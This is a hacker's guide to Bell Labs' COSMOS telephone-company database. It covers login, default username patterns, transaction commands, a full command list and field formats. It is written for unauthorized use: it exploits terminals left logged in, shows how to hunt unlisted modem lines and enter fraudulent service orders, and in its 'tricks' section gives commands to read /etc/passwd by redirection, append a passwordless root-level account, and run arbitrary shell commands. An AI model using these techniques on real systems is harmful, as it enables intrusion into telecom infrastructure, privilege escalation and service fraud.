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	BY
	ERIK BLOODAXE
	PRELUDE
	In the past, many files have been written about COSMOS. I
	have always been rather disappointed in their quality and in
	their presentation, so I have taken on the responsibility of
	doing one myself. This should sum up COSMOS for everyone who
	reads it. It contains formats for very useful commands, an
	entire transaction list, COSMOS "tricks", and a list of all COSMOS
	abbreviations and their formats.
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	INTRODUCTION
	Bell Labs COmputer System for Mainframe OperationS (COSMOS)
	is basically just a database for maintaining records of
	equipment and other line information and generating reports
	on that information. The system is usually set up on a DEC
	PDP 11/45 or 11/70.
	The main responsibilities of the COSMOS system are:
	Maintaining records
	Issuing reports
	Processing service and work orders
	Assigning telephone numbers
	Load balancing for switching computers
	Output of ESS recent change information
	LOGGING ON
	When connecting to COSMOS the system will respond with:
	;Login: or LOGIN:
	at which point you enter a username. The system will then
	prompt:
	PASSWORD:
	at which point you enter the password for that username.
	Finally, the system will prompt:
	WC?
	which asks you to enter the wire center for the exchange you
	will be using in your work. After successfully completing
	the login sequence you will be given the system prompt which
	will be the two letter id of the wire center you entered and a
	percent sign: "WC% "
	To log off at this or at any point you can type control-y.
	One of the major flaws in COSMOS security is that unless a
	control-y is received the terminal is not logged out, even if
	the user disconnects. Many times when you connect to COSMOS,
	you will be dropped right into the "WC% " prompt. This even
	happens on major BOC packet networks quite often. If you are
	lucky enough to receive a 'WC#' prompt you have access to the
	COSNIX shell, and can issue various unix-like commands, like
	ls, cd, cat, et cetera.
	COSMOS usernames are usually issued as two letters corresponding to
	whatever center will be using that account, and two numbers.
	EX: LA01
	Using the above example "LA01" there will most probably be numerous
	"LA" accounts, possibly "LA01" through "LA15" or higher. This is true
	for most COSMOS usernames. More often than not, all accounts used by the
	same center will have the same password as well. Some common usernames
	and their owners are:
	ROOT System Manager
	SYS System Manager
	ML Loop Assignment
	LA Loop Assignment
	DN Main Distributing Frame
	IN Repair Service
	RS Repair Service
	CE LNAC
	LK Account to execute INQuiries only
	JA Mizar
	WLI Work Load Indicator
	Usernames may vary from BOC to BOC, but these are fairly standard.
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	COSMOS TRANSACTION COMMANDS
	COSMOS commands are three letter acronyms. I will explain in
	depth the commands I have found most useful, and then list
	the remainder. Remember, do not attempt to learn the formats for COSMOS
	transactions online. You will probably not figure out correct inputs, and
	will most likely cause problems for the system manager and yourself.
	Commands are entered in a specific ways. The command desired is
	entered at the WC% prompt. A second string of data is entered at
	the next line which designates the type of transaction desired.
	This line is prefixed with on of the following four letters:
	H - Header Line
	I - In Line
	O - Out Line
	R - Remark Line
	The most commonly used line is the H line. It is a required input in
	almost all COSMOS transactions. From the second line on, COSMOS will
	prompt with an underscore "_" as the system prompt, to let the user
	know that it is waiting for input. When all needed data has been entered,
	the command is executed by typing a "." at the beginning of a new line.
	If you wish to process a command, but stay in command level in order to
	process further commands after the one you are currently entering has
	finished, a ";" can be entered at the beginning of a new line.
	To cancel the transaction you are entering, a "Q" should be entered at
	the beginning of a new line. To interrupt output, the break character
	is "^C". When entering criteria, you may enter all like data (all H-line, all
	I-line, etc...) on one line using a "/" between input prefixes:
	EX: H TN 222-0000,222-9999/RMKT SWBT?/US 1FB
	is the same as entering:
	H TN 222-0000,222-9999
	_H RMKT SWBT?
	_H US 1FB
	One of the most commonly used commands is INQ (Complete
	Circuit Inquiry). There is also a short form of INQ called
	ISH. This command requires only the use of H lines. Multiple H lines
	can be entered to narrow a search or to print multiple reports.
	Valid H line facilities used are:
	BL Bridge Lifter
	CON Concentrator
	CP Cable Pair
	CKID Circuit ID
	MR Message Register
	OE Office Equipment Number
	PL Private Line Circuit Number
	TK Trunk Cable and Pair Number
	TN Telephone Number
	TP Tie Pair
	XN "X" Number
	TRE Transmission Equipment
	TER Terminal Number
	GP Group Number
	ORD Work Order
	EX: To print information on telephone number 222-2222
	WC% INQ
	H TN 222-2222
	_.
	EX: To print information on cable pair 11-1111
	WC% INQ
	H CP 11-1111
	_.
	INQ will print a full report whatever circuit you examine, while ISH
	will print a shorter, easier to read report. Below is an actual ISH
	done on a Telenet node.
	CA% ISH
	H TN 225-8004
	_.
	TN 225-8004
	ST AU DATE 06-03-83 HT GP 0-0081 BTN 225-8004 TYPE X
	OE 006-012-200
	ST WK DATE 03-04-86 CS 1FBH US 1BH FEA TNNL
	LCC TF2
	LOC WF12003
	TER 0-0081-0001
	ST WK
	RMKG GTE.TELENET
	CP 95-0701
	ST WK DATE 01-24-86 RZ 13
	LOC WF12009
	TP 6105-0910
	ST WK DATE 01-24-86
	LOC F12003
	LOC F42001
	FROM FAC OE 006-012-200 TO FAC TP 6206-0107
	TP 6206-0107
	ST WK DATE 01-24-86
	LOC F22029
	LOC F42002
	HUNT SEQUENCE FOR TN 225-8004
	TER 0001-0040
	** ISH COMPLETED 02-29-99 12:00
	CA%
	When you pull an inquiry on a number that you are interested in, you will
	be given its cable pair, its order number, any numbers that connect to
	it through a hunt sequence, and you will see any remarks entered about the
	number. This information can prove to be very valuable. For instance:
	You suspect that a company has a modem online, yet you don't want to waste
	time sequentially dialing thousands of numbers. You can simply enter
	an ISH on the number to get its cable pair, then begin pulling ISH
	reports on cable pairs close to the main one. Then you need only dial
	twenty or so numbers that are in the same area as the main number, and
	you will find the computer.
	Another extremely valuable command is SIR (Sorting Inquiry by Range).
	With SIR, you can print the circuit information on all lines that match
	specified criteria within a specified range of numbers. This command
	requires only H line input, but numerous lines may be entered in order to
	narrow down the search. You may also use the wildcard character ("?") to
	encompass a larger range when doing a SIR. There are many applications
	for SIR, but I will only show examples on a few I have found to be
	most useful.
	Many times entries have special remarks entered about the circuit. These
	are usually entered as RMKT (Remarks on Telephone Number), but they may be
	entered as RMKO (Remarks on Office Equipment) or RMKP (Remarks on Cable
	Pair), depending upon what the person entering felt like typing.
	Most of the time the remarks really don't correspond like they should.
	Telephone companies are pretty thorough about remarking on a line that
	they own and they will usually use the RMKT prefix.
	EX: To find all telephone company (Southwestern Bell) lines in prefix 222
	WC% SIR
	H TN 222-0000,222-9999
	_H RMKT SWBT?
	_.
	The "?" after SWBT acts as a wildcard. Typing SWB? would perform the same
	search.
	You may also want to search by STT (Telephone number status). Some types of
	STT are:
	AU Auxiliary
	NP Non-published
	OF Official (telco owned)
	TS Test
	Another way to distinguish types of number is by CS (Customer Class of
	Service). CS values tend to vary from BOC to BOC, but business lines
	will usually look like "1FB", or at least contain a "B". Residences
	will usually look like "1FR." Sometimes telco lines are listed as "1OF",
	but may also be entered as "1FB". On lines in a hunt group, the CS will
	be appended with the letter "H", as "1FBH".
	Let's say a company owns a block on an exchange (333) running from 1000 to
	3500. You want to find all possible computer numbers in that area. Chances
	are good that they are not listed.
	EX:
	WC% SIR
	H TN 333-1000,333-3500
	_H STT NP
	_H CS 1FB
	_.
	The above would list all non-published business numbers from 333-1000
	to 333-3500.
	To find all numbers that are translated 800 numbers in the same prefix range
	as above, you can do the following:
	EX:
	WC% SIR
	H TN 333-1000,333-3500
	_H PL ?800?
	_.
	This will prints reports on all private lines registered as 800 numbers.
	There is also a shorter version of SIR, LTN (List Telephone Numbers), and a
	more detailed version, GFR (General Facility Report), but I have found
	SIR to be the better of the three to use for my purposes.
	In order to change line attributes, or to create new lines you will need
	to use two commands SOE (Service Order Entry), and RCP (Recent Change
	Packager). These two commands are pretty detailed in what they can do,
	so I will just cover a few of their options.
	SOE will allow you to assign a new circuit, and specify the desired telephone
	number, custom calling features, billing telephone number, etc.
	SOE requires both "H" and "I" lines of input. The best way to enter
	a new service order is to have COSMOS pick your new telephone number and
	assign the needed office equipment number. If you want to pick your own
	telephone number, the number you pick must have a status (STO) of SP, LI, RS,
	or PD (with a disconnect date before the due date on your new service order).
	This is so that you do not try to assign a number that is currently working
	to your new service order. You can check this by doing an ISH on all the
	variations of numbers you desire, and checking the STO. You can also get a
	list of available numbers in a given prefix using the NAI command. You
	should also do a SIR of recent entries, to try to find the proper format of
	order numbers, so that you do not reuse one, or make one up that is formatted
	incorrectly. Another method to make sure that you have the correct formatting
	of order numbers is to call the phone company and request the installation of
	a line in the area you are working in. They will tell you your service order
	number for reference. Later, you can merely cancel the order. You will also
	have to find a valid cable pair, so do an ISH on whatever number written in
	your junction box that is not working, and then make sure there is no pending
	connect orders entered on it.
	To enter a service order for a new connection, having COSMOS pick an available
	telephone number and assign proper office equipment numbers, you would do
	the following:
	EX:
	WC% SOE
	H ORD SO123456/OT NC/DD DD-MM-YY (Use valid Day, Month, Year for Due Date)
	_I TN ?/US 1FR/FEA TNNL/OE ?/CP XX-YYYY (Use valid cable pair for XX-YYYY)
	_.
	You would now need to enter RCP and make a correctly formatted recent change
	report for the order you entered so RCMAC can pick up the order and directly
	enter it into the switch. What RCP does is take your order and change it into
	actual switch programming, using templates that are stored in directories
	corresponding to what type of switching equipment is used for that WC.
	(EX: ess5a)
	EX: To create a recent change package for the order entered above
	WC% RCP
	H ORD SO123455
	_.
	Using SOE you can specify custom calling features, you can specify billing
	telephone numbers, you can establish service as coin, and several other
	options by adding "I" line information corresponding to that particular
	option.
	_I CCF XXXXXX (XXXXXX is valid custom calling features)
	_I BTN NNX-XXXX (NNX-XXXX is valid billing TN)
	_I TT C
	To get a list of spare (available) telephone numbers in a given prefix, you
	can use the NAI (Telephone Number Assignment Inquiry) command. You only need
	enter H line criteria. In addition to searching by prefix (NNX), you can
	search by switch type (TYP), or rate zone (RTZ).
	EX: To select one spare telephone number in 555 and make it reserved status
	WC% NAI
	H TT X/NNX 555/STT RS
	_.
	You may also have NAI print out several available numbers, however, you cannot
	change the status unless you are printing one listing.
	EX:
	WC% NAI
	H TT X/NNX 555/LC XX (Where XX is a number between 1 and 25)
	_.
	To get a listing of all prefixes that exist in the Wire Center you are
	logged in under, you can use the command DDS (Display DS Table). This
	command will list the ranges that exist for a given input.
	To list all telephone numbers in a given WC:
	WC% DDS
	H TN ?
	_.
	To list all cable pair ranges:
	WC% DDS
	H CP ?
	_.
	To change from one Wire Center to another, you use the command WCC (Wire
	Center Change). This is a very straight forward command.
	EX:
	WC% WCC NW
	NW%
	To allow for redirection in your COSMOS commands, you must execute the
	DIO command. This command is rather important for manipulating commands
	to work for you.
	EX:
	WC% DIO
	To see what transactions other people logged in are running, you can use the
	command TSNAP (on certain generics)
	EX:
	WC% TSNAP
	There are about one hundred other COSMOS commands that are all defined at the
	end of this file. I cannot go into detail on all of them but I will list them
	and their meanings.
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	COSMOS TRICKS
	Even if you don't have full COSNIX access, you can basically execute
	any command or read any file that exists in the system. Using the INQ
	(or ISH) command and redirection, you can open and display any file.
	EX: To display the password file
	WC% INQ </ETC/PASSWD
	This will display the file, however, since this is a flaw in the command,
	it thinks the file is to be input for INQ, and each line will be preceded
	with "ILLEGAL LINE TYPE", but this can be ignored.
	Other files to look at:
	/USR/FACS/WCFILE List of all Wire Centers
	/ETC/MATRIX.P Permission Matrix (Who can execute what commands)
	You may or may not want to try the following. There is a high probability
	that you will be noticed on the system. If your local COSMOS ports are
	usually left logged in, don't bother doing this. However, if your COSMOS
	ports are always logged out, and you almost never get in, and you happen
	to stumble upon one left logged for the first time in months, it might be
	worth a try.
	There are a few ways to make a new account on COSMOS; however, you need to
	be able to write to the password file. Some systems allow this, but most do
	not.
	The easiest way involves using the echo command and redirection.
	EX:
	WC% echo "EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so" >>/etc/passwd
	This will add user EB01 to the end of the password file.
	If you do not have access to echo you can do the same thing using the TED
	command (Text Editor).
	WC% TED >>/etc/passwd
	S.O. NO.= SO123456
	IS THIS A NEW S.O. (Y on NO) Y
	1d
	a
	EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so
	^C
	1p
	w
	q
	After executing the above, you will need to clean up the /etc/passwd
	file to remove the Service Order information put in there by TED. You will
	also need to remove the service order you created from the /usr/so/WC
	directory.
	If you cannot find a way to get shell access, you can still execute
	any COSNIX command you desire again using TED, MSK (Output a Transaction
	Mask), and ARG (Assemble and Run a Given Master File).
	EX:
	WC% TED
	S.O. NO.= SO123456
	IS THIS A NEW S.O. (Y or NO) Y
	12
	1d
	a
	$*
	run!
	^c
	w
	q
	WC% MSK >/usr/so/newcmd
	SO123456
	WC% ARG
	newcmd ls /etc
	To execute the command, you need to do ARG, then the name of the
	file (which I called newcmd), then the COSNIX command you wish to
	execute.
	If you can use echo this can be done much easier.
	EX:
	WC% echo '$*' >/usr/so/newcmd
	WC% echo 'run!' >>/usr/so/newcmd
	Then you can run your command normally with ARG.
	WC% ARG
	newcmd cd ..
	IF you do not have access to echo, create a newcmd file and you can use it
	that way.
	WC% ARG
	newcmd echo EB01::0::y:1:/tmp:/usr/cosmos:/usr/so:/usr/preop >>/etc/passwd
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	COSMOS COMMAND LISTING
	ACE Establish an Assignment Change Ticket
	AIT ANALIT Initialization of Tables
	ARG Assemble and Run a Given Master File
	AUD Assignment List Audit
	BAI Bridge Lifter Assignment Inquiry
	BYF Display the Bypass File
	BYP Change the Contents of the Bypass File
	CAY Create an Assembly
	CCA Change Customer Attributes
	CCT Initialize and Update the Contractor-Transducer File
	CDA Change Distribution Attributes
	CDD Change Due Date
	CDR Cut Thru DIP Report
	CFA Change Facility Attributes
	CFP Print the Class of Service/Features for an Electromechanical Entity
	CFU Change Facility Usage
	CIE Company Establish Company Initiated Change
	CLI COSMOS Processed ALIT Reports
	CPI COSMOS-PREMIS Interface
	CPM COSMOS Performance Monitor
	CTC Complete a Cable Transfer or Complete a Cable Throw
	CTE Cable Throw Order Establishment
	CTF Display the Contacter-Transducer File
	CTL Cable Throw with Line Equipment Assignment
	CTM Cable Throw Modification
	CTP Print Cable Transfer Frame Work
	CTR Cable Throw Replacement
	CTS Cable Throw Summary
	CTW Withdraw a Cable Transfer or a Cable Throw
	CUP Common Update Processor
	CXC Complex Service Order Input Checker
	CXM Centrex Table Management
	CXT Complex Order Inquiry for NAC Review
	DAY Delete an Assembly
	DBL Data Base Load
	DCN List Disconnected and Changed Numbers
	DDS Display the DS Table
	DIR Standard DIP Report
	DPN DIP Purge Number
	DPR DIP Report and Removal
	DQR Design Quota System Report
	DQS Design Quota System
	DTE Print Current Date
	EDZ Facility Emergency Assignment List
	ELA Entity Load Analysis
	ESP Print Entire Summary Table
	FDY Set Fiscal Day for LAC
	FLR Frame Layout Report
	FOR Frame Order Report
	FOS Frame Operations Summary
	FTA Frame Transfer Analysis
	FTC Frame Transfer Completion
	FTE Frame Transfer Establishment
	FTL Frame Transfer LETs
	FTR Frame Transfer Reprint
	FTW Frame Transfer Withdrawal
	FWM Frame Work Management
	GFR General Facility Report
	GLA Generate Lists for Assignment
	HBS Hunt Group Blocks of Spares
	HGR Hunt Group Report
	HGS Hunt Group Summary
	HIS Hunting ISH
	IJR Input a Jeopardy Reason
	IMU Input Measured CCS Usage Data
	INQ Complete Circuit Inquiry
	ISF Inquire on a Single Facility
	ISH Complete Circuit Inquiry Short
	JAM Jumper Activity Management
	JPH Jumper Placement History
	KPR Killer Pair Report
	KSM Create a Transaction Mask
	LAI Line Equipment Assignment Inquiry
	LBP Load Balance Parameters
	LCD LIST Cable Summary, LIT Demand Test
	LCP List Cable Pairs
	LEE NAC Related Line Equipment Transfer Order Establishment
	LEW Line Equipment Transfer Withdrawal
	LFC Load Factor Calculation
	LFR Line Failure Report
	LGN List Hunt Groups
	LIN Transmit ALIT Data to COSMOS
	LOE List Originating Line Equipment
	LSE Line and Station Transfer Order Establishment
	LSW Line and Station transfer Withdrawal
	LTN List Telephone Numbers
	MAL Manual Assignment List
	MAP Manual Assignment Parameters
	MAQ Manual Assignment File Inquiry
	MAY Modify an Assembly
	MCE Establish a Maintenance Change Ticket
	MCH Manually Change Hunt
	MCL Maintenance Change List
	MCR Establish a Maintenance Change Repair
	MCW Maintenance Change Ticket Withdrawal
	MDC Manually Disconnect a Working Circuit
	MEC Manually Establish a Circuit
	MMC Manually Modify a Circuit
	MOC MOE Order Completion
	MOE Mass OE Transfers
	MOF Mass OE Frame Transfer Listings
	MOW MOE Order Withdrawal
	MPK Modify Work Package
	MSK Output a Transaction Mask
	MTR Manually Test a Response
	NAI Telephone Number Assignment Inquiry
	NOL NAC Service Order Listing
	NSD Number Summary Display
	OIJ Orders in Jeopardy
	OPN Open-of-Day Report
	OPU Outside Plant Cable Usage
	PAK Work Packages
	PEP Position Establishment for Parties
	PFR Party Line Fill Report
	PRP Periodic Purging of Remarks
	QEX Question an Execution
	QUE Queue
	RAL Relay Assignment List
	RAP Relay Assignment Parameters
	RAS Release Sequence Number Lists and Related TN/OE
	RBS Print TBS Relays Assignment Record
	RCP Recent Change Packager
	RCR Recent Change Report
	RCS Recent Change Summary
	RED Recent Change Message Text Editor
	REL Release Non-Intercepted Numbers by Release Date
	REM Remove Frame Locations
	RET Retermination of Frame Locations
	REX Reexecute a Service Order
	RJR Remove Jeopardy Reason Codes
	RMP Recent Change Punctuation Table
	RNA Release Telephone Numbers for Assignment
	ROE Reservation Order Establishment
	ROI Reservation Order Inquiry
	ROW Reservation Order Withdrawal
	RTH Report Transaction to Count Spare and DIPed Line Equipment
	RTS Relay and Telephone Number Status Report
	RUP Request Unsolicited Processing
	SAI Summary of Action Items
	SCA Service Order Completion-Automatic
	SCF Simple Completion for MDF
	SCI Spare Cable Pair Inquiry
	SCM Standard Completion by MDF
	SCP Service Order Completion by LAC
	SCR Standard Completion by RCMAC
	SEL Selecting Lines for an Exchange Class of Service Study
	SET Statistics on Equipment and Telephone Numbers
	SGH Supply Relays for Groups of 5XB Hunts
	SIR Sorting Inquiry by Range
	SLC Subscriber Line Counts for Custom Calling Features
	SOC Service Order Cancel
	SOE Service Order Establishment
	SOF Service Order Fix
	SOH Service Order Withheld
	SOI Service Order Assignment Inquiry
	SOL Service Order Listing
	SOM Modify a Pending Service Order
	SOW Service Order Withdrawal
	STN Summarize Telephone Numbers
	SVL Service Observing Loops
	TAI Tie Pair Assignment Inquiry
	TAT Test Alignment of Frame Terminal
	TED Text Editor
	TET Display or Change Band Filter File, Retention Factor and Print Threshold
	TFC Transfer Frame Changes
	TIG Dial Transfer Input Generator
	TLC Translate LANAVAR/CPS
	TNS Telephone Number Swap
	TOC Transfer Order Completion
	TOE Transfer Order Establishment
	TOF Mass OE Transfer Order Frame Listings
	TOI Dial Transfer Order Inquiry
	TOL Transfer Order Lists
	TOO Transfer Order Omissions
	TOW Transfer Order Withdrawal
	TPU Tie Pair Usage Report
	TRC Transfer Order Recent Change Report
	TRI Transmission Equipment Assignment Inquiry
	TRW Total Reservation Order Withdrawal
	TSL Line Equipment Summary Report
	TSN Traffic Statistics on Telephone Numbers
	TSW Total Service Order Withdrawal
	TTY Get TTY Name
	TXC Text Checker
	TXM Transfer Centrex Management
	UDP Update DIP Parameters
	UES Update the Entity Summary Table
	UFO Unprinted Frame Orders
	UPC Update CCS vs. Class of Service Table
	USL List USOC (US) File Data
	UTC Update Table for Concentrator Redesign
	WCC Change Wire Center
	WCT Worksheet for Cable Throw Orders
	WFL Working Frame Location
	WOI Work Order Inquiry
	WOL Work Order Listing
	WPT Work Package Table
	WSL Work Status List
	WUL Work Unit Report for Subscriber Line Testing and Installation Assignment
	=============================================================================
	COSMOS ABBREVIATIONS AND FORMATS
	The following will be given as follows:
	Prefix and Meaning
	Format
	Code Value and Meaning
	AC Assembly category
	AC XXXX
	PERM=Permanent Facility Assemblies
	TEMP=Temporary Facility Assemblies
	AC Assembly Code
	AC XXX
	XXX=1-999
	ADSR Administration of Designed Services Review
	ADSR X
	Y=Yes, TIRKS Circuit
	N=No, COSMOS Circuit
	AGM Normal Aging Months
	AGM XX
	XX=Number of Months
	AGT Accelerated Aging Type
	AGT XXX
	BUS=Business
	RES=Residential
	AI Assigner's Initials
	AI XXX
	XXX=3 Alphanumeric Characters
	AO Allocation Order
	AO XX
	XX=Two Numeric Characters
	AR Advance Relay
	AR XYY-ZZZ
	X=Marker Group
	YY=Number Group from Frame
	ZZZ=Relay Number
	ATN Assigner's Telephone Number
	ATN XXX-XXXX
	XXX-XXXX=Assigners TN
	BL Bridge Lifter
	BL XX...XX
	XX...XX=Maximum of 17 Alphanumeric Characters
	BLS Bridge Lifter Status
	BLS X
	Y=Yes
	N=No
	BND Band Number
	BND X
	X=0-3
	BTN Billing Telephone Number
	BTN XXX-XXXX
	XXX-XXXX=Billing Telephone Number
	CA Cable Number
	CA XX...XX
	XX...XX=Maximum of 10 Alphanumeric Characters
	CAT Centrex Access Treatment
	CAT XX
	XX=Maximum of 2 Numeric Characters
	CC Call Count
	CC XX
	XX=Maximum of 2 Numeric Characters
	CCF Custom Calling Features
	CCF XXXXXX
	XXXXXX=3 to 6 Alphanumeric Characters
	CCS Hundred Call Seconds
	CCS XXXX
	XXXX=3 or 4 Numeric Characters
	CEU CCS Estimated Usage
	CEU XXXX
	XXXX=3 or 4 Numeric Characters
	CG Control Group Number
	CG X
	X=0-9
	CKID Circuit Identification
	CKID XX...XX
	XX..XX=Maximum of 61 Alphanumeric Characters
	CKL Circuit Location
	CKL XXXX
	XXXX=Maximum of 4 Alphanumeric Characters
	CLC Common Language Code for an Entity
	CLC XX...XX
	XX...XX=Maximum of 11 Alphanumeric Characters
	CLCI Common Language Circuit Identification
	CLCI XX...XX
	XX...XX=Maximum of 61 Alphanumeric Characters
	CLEI Common Language Equipment Identifier
	CLEI XX...XX
	XX...XX=Maximum of 10 Alphanumeric Characters
	CLF Creating DIPs Upper Bound Load Factor
	CLF XX
	XX=1-10
	CLL Creating DIPs Lower Bound Load Factor
	CLF X
	X=1-9
	CLS CLCI in Serial Number Format
	CLS XX...XX
	XX..XX=Maximum of 61 Alphanumeric Characters
	CLT CLCI Telephone Number Format
	CLT XX...XX
	XX...XX=Maximum of 61 Alphanumeric Characters
	CMF Capacity Main Station Fill
	CMF XXXXXX
	XXXXXX=Maximum of 6 Numeric Characters
	CMU CCS Measured Usage
	CMU XXXX
	XXXX=3 or 4 Numeric Characters
	COM Complement Size
	COM XXXX
	XXXX=1-9999
	CON Concentrator
	CON XX-YY
	XX=Maximum of 2 Alphanumeric Characters
	YY=Maximum of 2 Numeric Characters
	CP Cable and Pair Number
	CP XX...XX-YZZZ
	XX...XX=Cable ID, Maximum of 10 Alphanumeric Characters
	YZZZ=Cable Pair ID
	Y=Alphanumeric
	ZZZ=Numeric
	CPU CCS Capacity Usage
	CPU XXXX
	XXXX=3 or 4 Numeric Characters
	CRG CREG Tag
	CRG XXX
	XXX=YES or NO
	CS Customer Class of Service
	CS XXXXXX
	XXXXXX=Maximum of 6 Alphanumeric Characters
	CTID Circuit Termination Identification
	CTID XX...XX
	XX...XX=Maximum of 61 Alphanumeric Characters
	CTT Cut Through Tag
	CTT XXX
	XXX=YES or NO
	CTX Centrex Group Number
	CTX XXXX
	XXXX=Maximum of 4 numeric Characters
	DC Dial Code
	DC X
	X=1 Alpha Characters
	DD Due Date
	DD MM-DD-YY
	MM=Month
	DD=Day
	YY=Year
	DID Direct Inward Dialing
	DID XXXX
	XXXX=Maximum of 4 Numeric Characters
	DIP DIP Creation Option
	DIP X
	Y=Yes
	N=No
	DNY Denial of Service for Non-payments
	DNY X
	I=Incoming
	O=Outgoing
	B=Both
	DPA Different Premises Address
	DPA XXX
	XXX=Maximum of 3 Alphanumeric Characters
	DPT Department Name
	DPT XXX
	XXX=Maximum of 3 Alphanumeric Characters
	DST Destination of Order Response
	DST XXXX
	XXXX=Maximum of 4 Alphanumeric Characters
	DT Due Time
	DT XX
	XX=AM, PM, or 0-9
	EC ESS Entity and Control Group Number
	EC YZ
	Y=Entity Number
	Z=Control Group Identifier
	ECS Equipment Class of Service
	ECS XXXXXX
	XXXXXX=Maximum of 6 Alphanumeric Characters
	ED Enter Date
	ED MM-DD-YY
	MM=Month
	DD=Day
	YY=Year
	EN Entity
	EN X
	X=S, E, 1, 5 or 0
	EN Entity Number
	EN X
	X=0-9
	ENT Entity Number
	ENT X
	X=0-9
	EO Error Handling Option
	EO XX
	CE=Continue Processing and Establish Valid Circuits
	CW=Continue Processing and Withdraw Established Circuits
	SE=Stop Processing and Establish Valid Circuits
	SW=Stop Processing and Withdraw Established Circuits
	EQF Equipment Features
	EQF WXYZ
	W=R (Rotary) or T (Touchtone)
	Y=S (Sleeve) X (Range Extension) or N (Non-sleeve or Non-range Extension)
	X=E (Essential) or N (Non-essential)
	Z=G (Ground Start) or L (Loop Start)
	EQV Frame Equivalence
	EQV FXX
	F=The Letter "F"
	XX=Two Alphanumeric Characters
	ETC Estimated Trunk CCS Value
	ETC XXXX
	XXXX=Maximum of 4 Alphanumeric Characters
	EXD ECS Crossloading Option
	EXD XXX
	XXX=YES or NO
	FAC Type of Segment List Being Audited
	FAC XX
	TN=Telephone Number
	OE=Line Equipment
	FAC Circuit Confiruration
	FAC XXX or
	FAC TN-NNX or
	FAC CP-XX...X or
	FAC SE-YY...Y or
	FAC PL-ZZ...Z
	XXX=Any Facility Prefix
	NNX=Three Alphanumeric Characters
	XX...XX=Maximum of 10 Alphanumeric Characters
	YY...YY=Maximum of 52 Alphanumeric Characters
	ZZ...ZZ=Maximum of 61 Alphanumeric Characters
	FC From Cable
	FC XX...XX
	XX...XX=Maximum of 10 Alphanumeric Characters
	FDD Frame Due Date
	FDD MM-DD-YY
	MM=Month
	DD=Day
	YY=Year
	FEA Customer Feature
	FEA XXXX
	(Same as EQF)
	FILT Filter
	FILT XXX
	XXX=Y, YES, N, or NO
	FR Frame Identification
	FR FXX
	F=The letter "F"
	XX=Two Alphanumeric Characters
	FT Frame Time
	FT XX
	XX=01-24
	FW MDF Output Suppressed
	FW X
	Y=Frame Work Yes
	N=Frame Work No
	GP MLHG Group Number
	GP Y-XXXX
	Y=Alphanumeric Control Group
	XXXX=Numeric Group Number
	GSO Ground Start Option
	GSO X
	1=Assigned to any OE in the Entity
	2=Assigned to Even Levels
	3=Only Assigned to OE Specified as Ground Start
	HC Hunt Count
	HC XXXX
	XXXX=Maximum of 4 Numeric Characters
	HF Hunt-from Telephone Number
	HF XXX-XXXX
	XXX-XXXX=Telephone Number
	HLC Highest Lead Factor Group Count
	HLC XXXX
	XXXX=1-9999
	HR Held Order Reason Code
	HR XX
	CE=Equipment Shortage
	CF=Lack of Facility
	CL=Plant Load
	CO=General Company Reasons
	C1-C5-Additional Company Reasons
	SA=Subscriber Access
	SL=Subscriber Requested Later Date
	SO=General Subscriber Reasons
	SR=Subscriber Not Ready
	S1-S5=Additional General Subscriber Reasons
	HRS Hours Prefix
	HRS XX
	XX=01-24
	HT Hunt-to Telephone Number
	HT XXX-XXXX
	XXX-XXXX=Telephone Number
	HTG Hunt-to Group Number
	HTG Y-XXXX
	Y=Alphanumeric Control Group
	XXXX=Numeric Group Number
	HTX Hunt-to X Number
	HTX XXX-YYXX of
	HTX XXX-YXX
	Y=Alphanumeric
	X=Numeric
	INIT Allocation Table Initalization
	INIT
	(No Data Entry)
	ITM Cable Pair Item Number
	ITM XX
	XX=Two Numeric Characters
	JL Jumper Length
	JL XXX
	XXX=Maximum of 3 Numeric Characters
	JR Jeopardy Reason
	JR XX
	A1=Assignment Error on CP
	A2=Assignment Error on OE
	A3=Assignment Error on TN
	A4-A9=Other Assignment Error
	C1=No SSWO for Circuit Design Group
	C2-C9=Local Code for Circuit Design Group
	E1-E9=No ESS Translations
	IB=No Installation Go-ahead for Business
	IC=No Installation Go-ahead for Coin
	ID=No Installation Go-ahead for Data
	IR=No Installation Go-ahead for Residence
	IS-No Installation Go-ahead for Special
	I1-I4=Local Codes foir No Installation Go-ahead
	RB=Business RSB
	RC=Coin RSB
	RD=Data RSB
	RR=Residence RSB
	RS=Special RSB
	R1-R4=Local Use for RSB
	LC Output Line Count
	LC XXXX
	XXXX=0-9999
	LC Line Count
	LC XXX
	XXX=0-999
	LC Pending Service Order Count
	LC
	(No Data Entry)
	LCC Line Class Code
	LCC XXX
	XXX Maximum of 3 Alphanumeric Characters
	LD Loading Division
	LD XX
	XX=Two Numeric Characters
	LDN Listed Directory Number
	LDN XXX-XXXX
	XXX-XXXX=Telephone Number
	LF Load Factor
	LF XX
	XX=1-10
	LIM Less Than the Specified Number of Pairs
	LIM XX
	XX=0-50
	LIM High Limit on Number of Specified Status Pairs in a Complement
	LIM XX
	XX=0-50
	LIM Low Limit on Number of Spare Line Equipment in Vertical Files
	LIM XX
	LIM=1-10
	LLC Low Load Group Count
	LLC XXXX
	XXXX=0-9999
	LOC Location
	LOC FXXYYY
	F=The Letter "F"
	XX=Alphanumeric
	YYY=001-999
	LP Loop Range
	LP XXX;XXX
	XXX;XXX=Six Numeric Characters
	LS List New Pending Cable Transfers
	LS XXX
	XXX=NEW
	LTI Loop Termination Identifier
	LTI XXX
	XXX=Three Alphanumeric Characters
	MASK Office Equipment Mask
	MASK OE ID
	ID=XXX-XXX-XXX =1ESS
	ID=XXX-XXXX =2ESS
	ID=XXX-XXXX =3ESS
	ID=XXXX-XXX-XX =5ESS
	ID=XXXX-XX-XX =5ESS
	ID=XXXX-X-XXXX =RSS
	ID=XXXX-XXX-XX =1XB
	ID=XXXX-XXXX-XX =1XB
	ID=XXX-XX-XX =5XB
	ID=XXXX-XXX =SXS
	ID=XXX-X-XX-X =DMS-10
	ID=XXX-X-XX-XX -DMS-100
	X=Alphanumeric
	MAT Manual Assistance Tag
	MAT XXX
	XXX=YES or NO
	MAX Maximum Percentage Value of Entity Fill or Maximum CCS Value
	MAX XXX
	XXX=Maximum of 3 Numeric Characters
	MBL Mini-bridge Lifter Tag
	MBL XX
	Y=MBL Working on CP
	N=CP Can't Support MBL
	EQ=CP has MBL Capabilities
	MC Marker Class of Service
	MC XX
	XX=Two Alphanumeric Characters
	MF Recent Change Message Format
	MF XXXX
	NEW=RX:LINE:messages
	OUT=RC:LINE:OUT:messages
	CHG=RC:LINE:CHG:messages
